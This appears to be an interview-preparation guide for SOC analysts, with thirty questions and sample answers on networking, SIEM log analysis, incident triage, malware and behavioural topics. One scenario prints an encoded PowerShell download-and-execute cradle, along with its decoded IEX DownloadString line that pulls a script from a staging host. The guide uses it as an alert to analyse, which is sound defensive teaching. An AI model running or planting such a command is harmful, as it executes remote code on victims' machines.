SOC Analyst Interview Questions: 30 With Answers

A SOC analyst interview tests four things in order of weight: can you reason through a log or alert out loud, do you understand core detection and networking concepts, will you communicate a verdict clearly under uncertainty, and do you have the temperament for high-volume queue work. The thirty questions below are grouped by exactly those areas — fundamentals, scenario and log analysis, tooling, and behavioral — with an explanation of what each one is really measuring and a sketch of what a strong answer sounds like.

How to use this guide: Read the "what they are testing" context before the sample answer for each question. Interviewers rarely want the answer verbatim — they want to see you arrive at it through recognizable reasoning. Practice narrating each answer out loud before your interview.

Most generic lists tell you to study the OSI model without explaining what the interviewer is actually probing for. This guide cuts through that: the goal is not a script to memorize but a mental model you can adapt in the room.

Fundamentals: CIA Triad, TCP/IP, and Common Ports

These questions appear in almost every tier 1 SOC analyst interview. Interviewers use them as a filter, not a deep assessment. A short, precise answer signals you know your ground. A rambling one signals you crammed the night before.

"What is the CIA triad?"

What they are testing: whether you can anchor a security decision in a real principle rather than just reacting to alerts. The triad appears constantly in documentation, incident reports, and escalation language, so fluency matters.

Strong answer sketch: Confidentiality means only authorized parties access data. Integrity means data is accurate and has not been tampered with. Availability means systems and data are accessible when needed. In a SOC context, a ransomware attack primarily targets availability; a credential-stuffing campaign targets confidentiality; a log-injection attempt targets integrity. Tie the definition to an attack type to show you use the framework, not just recite it.

"Explain the difference between TCP and UDP."

What they are testing: whether you can reason about protocols from a defender's perspective. The question is not about the three-way handshake for its own sake. It is about why a sudden burst of UDP traffic on port 53 deserves a different look than a slow trickle of TCP connections to an unusual destination.

Strong answer sketch: TCP is connection-oriented with a three-way handshake, delivery guarantees, and ordered packets. UDP is connectionless, faster, and has no retransmission. Defenders care because certain attack patterns exploit UDP (DNS amplification, SSDP reflection) while others exploit TCP state (SYN floods, established-session hijacking). If you see thousands of UDP packets to random ports, that is scanner behavior, not normal application traffic.

"Which ports should every analyst know by heart?"

What they are testing: whether you can glance at a firewall log and immediately flag what is worth investigating. You do not need to recite all 1024 well-known ports. You need the dozen that appear in alerts every single day.

Strong answer sketch: The ports that come up repeatedly in incident work are 21 (FTP), 22 (SSH), 25/587 (SMTP), 53 (DNS), 80/443 (HTTP/HTTPS), 445 (SMB), 3389 (RDP), and 1433 (SQL Server). From a threat perspective, outbound traffic on 445 to an external IP, or inbound connections on 3389 exposed to the internet, are immediate red flags worth investigating. Knowing these cold means you do not break your mental flow when reading a log.

"What is the difference between a vulnerability, a threat, and a risk?"

What they are testing: precision in language. SOC teams write reports and escalations that other teams act on, so using these terms correctly is a professional baseline.

Strong answer sketch: A vulnerability is a weakness in a system (an unpatched CVE, a misconfigured ACL). A threat is the actor or event that could exploit it. Risk is the combination of likelihood and impact. A critical CVE on an air-gapped test server carries less risk than a medium CVE on a public-facing login page. Tie the definition to a prioritization example and you will stand out.

SIEM and Log Analysis

The bulk of a tier 1 analyst's day is reading logs and writing queries. Interviewers want to see that you can orient yourself in a SIEM quickly and that you know what a suspicious line actually looks like.

"Have you used a SIEM? Which ones?"

What they are testing: familiarity with the category, not certification in a specific product. Most organizations run Splunk, Microsoft Sentinel, IBM QRadar, or Elastic SIEM. If you have only used one, say so and explain what you understand about the others.

Strong answer sketch: Describe what you have actually touched, even if it was a lab or a free-tier environment. Then name the core workflow: ingesting logs from sources, writing searches or correlation rules, triaging alerts from dashboards. Show you understand the conceptual model, not just one product's UI. If you have practiced on SOCSimulator's alert triage guide, mention that hands-on experience with realistic alert queues. If you are building a home lab and want to explore open-source options, the open-source SIEM tools guide covers the main platforms worth your time before interview day.

"Read this log line and tell me what you see."

This is the most practical question format in the entire interview. You may be shown a raw log in the room or on a take-home exercise. Here is a sample Windows Security Event Log entry:

EventID: 4625
Time: 2026-06-10 02:17:43 UTC
Account Name: svc_backup
Account Domain: CORP
Failure Reason: Unknown user name or bad password
Logon Type: 3 (Network)
Source Network Address: 185.220.101.47
Process Name: NtLmSsp

Strong answer sketch: EventID 4625 is a failed logon. Logon Type 3 is a network logon, meaning something on the network is authenticating against this machine, not a local interactive login. The source IP is external (not in RFC 1918 space), which is immediately suspicious. The target account is a service account, svc_backup, which should not be receiving external authentication attempts at 2 AM. This pattern is consistent with credential stuffing or a brute-force attempt targeting service accounts. I would pivot to check how many 4625 events hit this account in the past 30 minutes, whether any 4624 (successful logon) followed, and whether that source IP appears in threat intelligence feeds.

"What is log normalization, and why does it matter?"

What they are testing: whether you understand why a SIEM correlation rule fires correctly across sources with different field names and formats.

Strong answer sketch: Normalization maps raw log fields from different sources into a consistent schema. A firewall might call the originating address src_ip, while a Windows event log uses IpAddress. Without normalization, your cross-source correlation rules have invisible gaps because the field names never match.

"Write a simple query to find failed logins followed by a successful one from the same IP."

What they are testing: your ability to do basic SIEM work under time pressure. You do not need perfect syntax. You need to show the logic.

index=auth sourcetype=wineventlog (EventCode=4625 OR EventCode=4624)
| stats count(eval(EventCode=4625)) AS failures,
        count(eval(EventCode=4624)) AS successes
  BY src_ip, user
| where failures > 5 AND successes >= 1
| sort -failures

Strong answer sketch: Walk through it out loud. You are looking for the 4625 failure events and 4624 success events, grouping by source IP and username, and filtering to rows where there were more than five failures followed by at least one success. That pattern is a classic credential brute-force with eventual access. You would tune the threshold based on the environment's baseline.

"What is a false positive, and how do you handle alert fatigue?"

What they are testing: whether you understand that most alerts in a mature environment are noise, and whether you have a principled response to that rather than either dismissing alerts or escalating everything. This is closely related to the alert triage guide concept of criterion-setting under load.

Strong answer sketch: A false positive is an alert that fires correctly based on the detection rule but does not represent actual malicious activity. Handling alert fatigue requires two layers: individual habit (always document your close rationale, never click "close" without a reason) and systemic tuning (if a rule fires 200 times a day with a 0% true positive rate, that rule needs an exception or a rewrite). The goal is not to see fewer alerts. It is to see fewer meaningless ones.

Incident Response Scenarios

These questions put you in a situation and ask you to think out loud. There is almost never a single right answer. The interviewer is watching your process.

"Walk me through how you would triage a phishing alert."

This is the canonical scenario question. Practice narrating it before the interview until it feels natural.

Strong answer sketch: First, I would look at the alert metadata: what rule fired, what the confidence score is, what triggered it (a URL click, an attachment download, a sandbox detonation). I would pull the email headers to verify the sending domain, check SPF/DKIM/DMARC records, and look at the payload. If a user clicked a link, I would check proxy logs for the destination URL and whether a file was downloaded. I would look at the receiving user's endpoint for any process spawned after the click. If I see a document opening PowerShell or spawning a child process, that escalates immediately. If the email is the only signal and there is no further activity, I document it, notify the user, and add the domain to the blocklist. For a deeper walkthrough of phishing indicators, see phishing email analysis.

"A user reports their machine is running slowly. How do you investigate?"

What they are testing: your ability to correlate a vague user complaint with potential malicious activity without over-escalating.

Strong answer sketch: I would start with the endpoint data in the EDR. High CPU or memory consumption by an unusual process, a new persistence mechanism in the registry, or a signed binary behaving abnormally are all worth examining. I would check the process tree to see what spawned what. I would look at outbound network connections from that host over the past hour, especially to unusual IPs or on non-standard ports. Slow performance combined with unusual outbound traffic on port 443 to a newly registered domain is a different conversation than a browser with 40 tabs open.

"What is lateral movement, and what are its indicators?"

What they are testing: whether you understand the post-compromise kill chain, not just perimeter threats. Day-to-day SOC analyst work includes recognizing these later-stage signals. The MITRE ATT&CK framework catalogues the specific techniques to know.

Strong answer sketch: Lateral movement is when an attacker pivots from an initial foothold to additional systems, seeking higher privileges or the target asset. Common indicators include sudden SMB connections between workstations, PSExec or WMI remote execution events, pass-the-hash authentication patterns in Windows Security logs, and a new admin account appearing on multiple machines within minutes. A SIEM rule watching for a single account authenticating to more than three hosts in ten minutes outside business hours catches this pattern reliably.

"Walk me through a PowerShell alert."

Encoded PowerShell commands are one of the most common evasion techniques. Here is a realistic EDR alert excerpt:

powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgA1ADIAVQB0AGkAbABzAC4AcABzADEAIgApAA==

Strong answer sketch: The -EncodedCommand flag is a red flag on its own because legitimate software rarely needs base64-encoded PowerShell. I would decode that string immediately. The decoded content is: IEX (New-Object Net.WebClient).DownloadString("http://192.168.1.52/Utils.ps1"). That is a classic download-and-execute cradle, pulling a script from an internal host (192.168.1.52) and running it in memory. This is almost certainly malicious. I would escalate, isolate the originating machine, and investigate 192.168.1.52 as a pivot point the attacker is using for staging.

Malware and Phishing Basics

You do not need to be a reverse engineer. You need to recognize the indicators that show up in tier 1 work every day.

"What is the difference between a virus, a worm, and a Trojan?"

What they are testing: basic vocabulary precision, not deep malware analysis. The answer matters because these terms appear in threat intel reports and escalation tickets.

Strong answer sketch: A virus requires a host file and user execution to spread. A worm is self-propagating across networks without user interaction. A Trojan disguises itself as legitimate software to get the user to run it. In practice, modern malware often combines all three behaviors, but the distinctions matter when you are correlating signals: a worm-style propagation shows up as rapid lateral SMB connections, a Trojan shows up as a user installing something unexpected.

"What is a C2 (command and control) channel, and how would you detect one?"

What they are testing: whether you understand post-infection attacker infrastructure and the network signals it generates.

Strong answer sketch: A C2 channel is the communication path between compromised hosts and attacker infrastructure. Detection angles include beacon traffic at regular intervals to unusual domains, DNS queries with long randomly generated subdomains (DGA), and HTTPS connections to IP addresses rather than hostnames. I would correlate outbound DNS queries against threat intel blocklists and flag hosts making more than 20 connections per hour to the same unknown external IP.

"How do you tell a phishing email from a legitimate one?"

What they are testing: your ability to analyze email-based threats, which represent the most common initial access vector in enterprise incidents. See also: phishing email analysis for a full walkthrough, and 15 real phishing email examples to build pattern recognition across common lure categories before your interview.

Strong answer sketch: I check the sending domain against the display name (spoofed sender). I check SPF, DKIM, and DMARC alignment in the headers. I look at the reply-to address, which often diverges from the from address in phishing campaigns. I examine the URL in the body, checking whether the domain is recently registered, whether it uses typosquatting, and whether it resolves to a known malicious IP. I look at the attachment type: macros in Office documents, password-protected ZIPs, and ISO files are all common delivery methods. Finally, I consider urgency language and requests for credentials as behavioral red flags.

"What is a hash, and how is it used in threat detection?"

What they are testing: whether you understand the most fundamental indicator type in malware analysis.

Strong answer sketch: A cryptographic hash (MD5, SHA-1, SHA-256) produces a fixed-length fingerprint of a file. In threat detection, known malicious file hashes are distributed through threat intel feeds. If a file on an endpoint matches a known bad hash, that is a high-confidence indicator. The limitation is that attackers trivially change hashes by altering one byte (a technique called hash polymorphism), so hashes are one signal among many, not a definitive verdict. I would always corroborate a hash match with behavioral signals (what did the file do after execution?) before escalating.

Behavioral and Soft Skills

These questions account for a larger share of tier 1 hiring decisions than most candidates expect. The SOC is a team environment with shared queues, shift handoffs, and escalation chains. Interviewers need to know you will communicate clearly and stay functional under pressure.

"Tell me about a time you were wrong about something and how you handled it."

What they are testing: self-awareness and whether you update your beliefs when evidence contradicts you. A SOC analyst who cannot admit error will close true positives as noise.

Strong answer sketch: Give a real example. It does not need to be cybersecurity. The structure they want is: what you initially believed, what evidence changed your view, and what you did. End with what you learned.

"How do you prioritize when three critical alerts come in at the same time?"

What they are testing: your triage framework and whether you panic or think systematically under load.

Strong answer sketch: I would do a five-second read of each alert to assess: what is the affected asset, what is the potential impact, and is there active propagation? An alert suggesting a domain controller is involved takes priority over a single workstation. An alert showing active lateral movement in progress takes priority over a historical anomaly. I would then work the highest-impact alert first while documenting the others so a colleague can pick them up. I would not try to context-switch between all three, because partial attention on each produces worse outcomes than finishing one and handing off two.

"Explain a technical concept to me as if I were a non-technical manager."

What they are testing: whether you can communicate upward, which is a daily requirement. Incident summaries and escalation briefings go to people who are not reading your SPL query.

Strong answer sketch: Pick something you know well. Walk through the concept using an analogy. "A firewall is like a security guard at a building entrance with a list of allowed visitors. A next-generation firewall is like a security guard who also reads the content of the packages those visitors are carrying." The quality of your analogy matters. Interviewers are watching whether you can hold the technical and the accessible framing in your head simultaneously.

"Describe your experience with documentation and shift handoffs."

What they are testing: whether you understand that a SOC runs on continuity of information across shifts, and whether you take documentation seriously.

Strong answer sketch: The handoff note needs to tell the incoming analyst what you investigated, what you found, what you closed and why, and what is still open. A weak handoff produces duplicate work on benign alerts and missed follow-up on real ones. If you have used ticketing systems, mention them. Structured alert workflow practice counts.

"Where do you see yourself in two to three years?"

What they are testing: whether you are genuinely interested in the security operations path. Understanding how to become a SOC analyst at each tier shows career seriousness.

Strong answer sketch: Tier 2 work, detection engineering, or threat hunting are all credible goals that signal you want to go deeper, not sideways out of the SOC. Interviewers respond well to candidates who have thought about certifications like CompTIA CySA+ or GIAC GCIA as part of that path.

Questions to Ask the Interviewer

Strong candidates flip the dynamic at the end and ask questions that reveal operational judgment. These four will consistently impress:

"What is the average alert volume per shift, and what is your current ratio of true positives to noise?" This signals you understand that a healthy SOC is one that has tuned its detections, not one that has suppressed alerting.

"How are escalations handled between tier 1 and tier 2, and what does a well-escalated ticket look like on your team?" This shows you have thought about the handoff, not just your own role.

"How long does onboarding typically take before a new analyst works the queue solo?" This is a practical question that also signals you take ramp time seriously rather than assuming you will be dropped in on day one.

"What is the biggest detection gap you are working to close right now?" This is an advanced question. If the team has a thoughtful answer, it is a good sign. If the answer is vague, that tells you something too.

Putting It All Together

The SOC analyst interview is a rehearsal of the judgment calls you will make every day in the queue. Not a trivia contest. Interviewers are asking themselves: can this person read a log, form a hypothesis, and communicate it clearly without either panicking or dismissing the signal?

Practice out loud. Narrate your triage process on real or simulated alerts until the structure of your reasoning feels automatic. The difference between a candidate who has worked 500 alerts and one who has only read about them is audible in the first ten minutes of a scenario question — and you can close that gap by practicing on realistic alerts in SOCSimulator before you sit down across from a panel.

Your goal for the interview is not to be the candidate who memorized the most. It is to be the candidate who sounds like they are already doing the job.